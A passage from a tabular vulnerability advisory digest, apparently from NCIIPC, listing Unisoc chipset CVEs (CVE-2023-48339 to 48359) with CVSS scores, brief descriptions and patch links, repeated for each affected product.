Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1996
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1997

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48341**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1998
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1999
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2000

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48345		
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2001
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2002
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2003

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2004
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2005
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2006
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2007

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**		
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2008
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2009
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2010

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48342		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2011
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2012
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/2013
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-SC98-090224/2014

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/2015
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/2016
Product: t310					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2017

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48340**		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2018
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2019
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2020

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48344		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2021
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2022
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2023

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2024
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2025
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2026
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T310-090224/2027

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2028
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2029
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2030

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48339		
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2031
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2032
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T310-090224/2033
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T310-090224/2034

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2035
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2036
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T310-090224/2037

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48359		
Product: t606					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2038
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2039
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2040

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48343		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2041
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2042
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2043

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2044
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2045
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2046
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T606-090224/2047

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2048
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2049
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2050

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48354**		
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2051
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2052
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2053
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due	https://www.unisoc.com/en_us/secy/announc	H-UNI-T606-090224/2054

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	ementDetail/17457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2055
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2056
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T606-090224/2057

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48358**		
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T606-090224/2058
Product: t610					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2059
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2060

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48341**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2061
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2062
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2063

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48345		
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2064
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2065
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2066

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2067
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2068
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2069
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2070

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**		
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2071
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2072
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2073

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48342		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2074
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2075
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T610-090224/2076
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T610-090224/2077

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T610-090224/2078
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T610-090224/2079
Product: t612					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2080

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48340**		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2081
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2082
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2083

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48344		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2084
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2085
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2086

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2087
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2088
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2089
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-T612-090224/2090

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2091
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2092
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-T612-090224/2093

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48339		
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2094
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2095
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-T612-090224/2096
